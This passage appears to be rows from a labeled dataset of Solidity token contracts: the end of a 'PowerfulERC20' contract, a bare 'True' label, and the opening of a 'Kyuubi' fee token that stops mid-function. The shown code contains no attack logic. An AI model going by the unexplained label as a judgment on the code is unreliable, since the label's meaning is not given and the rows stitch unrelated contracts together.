) public virtual override returns (bool) {
transferFrom(sender, recipient, amount);
require(_checkAndCallTransfer(sender, recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts");
return true;
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to
* @param amount The amount allowed to be transferred
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(address spender, uint256 amount) public virtual override returns (bool) {
return approveAndCall(spender, amount, "");
}
/**
* @dev Approve spender to transfer tokens and then execute a callback on recipient.
* @param spender The address allowed to transfer to.
* @param amount The amount allowed to be transferred.
* @param data Additional data with no specified format.
* @return A boolean that indicates if the operation was successful.
*/
function approveAndCall(
address spender,
uint256 amount,
bytes memory data
) public virtual override returns (bool) {
approve(spender, amount);
require(_checkAndCallApprove(spender, amount, data), "ERC1363: _checkAndCallApprove reverts");
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param sender address Representing the previous owner of the given token value
* @param recipient address Target address that will receive the tokens
* @param amount uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(
address sender,
address recipient,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!recipient.isContract()) {
return false;
}
bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(_msgSender(), sender, amount, data);
return (retval == IERC1363Receiver(recipient).onTransferReceived.selector);
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param amount uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(
address spender,
uint256 amount,
bytes memory data
) internal virtual returns (bool) {
if (!spender.isContract()) {
return false;
}
bytes4 retval = IERC1363Spender(spender).onApprovalReceived(_msgSender(), amount, data);
return (retval == IERC1363Spender(spender).onApprovalReceived.selector);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: eth-token-recover/contracts/TokenRecover.sol
pragma solidity ^0.8.0;
/**
* @title TokenRecover
* @dev Allows owner to recover any ERC20 sent into the contract
*/
contract TokenRecover is Ownable {
/**
* @dev Remember that only owner can call so be careful when use on contracts generated from other contracts.
* @param tokenAddress The token contract address
* @param tokenAmount Number of tokens to be sent
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
abstract contract ERC20Decimals is ERC20 {
uint8 private immutable _decimals;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor(uint8 decimals_) {
_decimals = decimals_;
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
// File: contracts/token/ERC20/behaviours/ERC20Mintable.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Mintable
* @dev Implementation of the ERC20Mintable. Extension of {ERC20} that adds a minting behaviour.
*/
abstract contract ERC20Mintable is ERC20 {
// indicates if minting is finished
bool private _mintingFinished = false;
/**
* @dev Emitted during finish minting
*/
event MintFinished();
/**
* @dev Tokens can be minted only before minting finished.
*/
modifier canMint() {
require(!_mintingFinished, "ERC20Mintable: minting is finished");
_;
}
/**
* @return if minting is finished or not.
*/
function mintingFinished() external view returns (bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens.
*
* WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function mint(address account, uint256 amount) external canMint {
_mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts.
*/
function finishMinting() external canMint {
_finishMinting();
}
/**
* @dev Function to stop minting new tokens.
*/
function _finishMinting() internal virtual {
_mintingFinished = true;
emit MintFinished();
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant alphabet = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = alphabet[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/access/AccessControl.sol
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)));
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File: contracts/access/Roles.sol
pragma solidity ^0.8.0;
contract Roles is AccessControl {
bytes32 public constant MINTER_ROLE = keccak256("MINTER");
constructor() {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
modifier onlyMinter() {
require(hasRole(MINTER_ROLE, _msgSender()), "Roles: caller does not have the MINTER role");
_;
}
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/token/ERC20/PowerfulERC20.sol
pragma solidity ^0.8.0;
/**
* @title PowerfulERC20
* @dev Implementation of the PowerfulERC20
*/
contract PowerfulERC20 is
ERC20Decimals,
ERC20Capped,
ERC20Mintable,
ERC20Burnable,
ERC1363,
TokenRecover,
Roles,
ServicePayer
{
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 cap_,
uint256 initialBalance_,
address payable feeReceiver_
)
payable
ERC20(name_, symbol_)
ERC20Decimals(decimals_)
ERC20Capped(cap_)
ServicePayer(feeReceiver_, "PowerfulERC20")
{
// Immutable variables cannot be read during contract creation time
// https://github.com/ethereum/solidity/issues/10463
require(initialBalance_ <= cap_, "ERC20Capped: cap exceeded");
ERC20._mint(_msgSender(), initialBalance_);
}
function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) {
return super.decimals();
}
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC1363) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @dev Function to mint tokens.
*
* NOTE: restricting access to addresses with MINTER role. See {ERC20Mintable-mint}.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function _mint(address account, uint256 amount) internal override(ERC20, ERC20Capped) onlyMinter {
super._mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* NOTE: restricting access to owner only. See {ERC20Mintable-finishMinting}.
*/
function _finishMinting() internal override onlyOwner {
super._finishMinting();
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-04-09
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-05
*/
/**
*Submitted for verification at Etherscan.io on 2022-06-04
*/
/**
// SPDX-License-Identifier: Unlicensed
/**Kyuubi
Website: http://kyuubieth.com/
Twitter: https://twitter.com/EthKyuubi
Telegram: https://t.me/KyuubiEthPortal
-4% Auto LP
-4% Marketing
-2% Development
*/
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
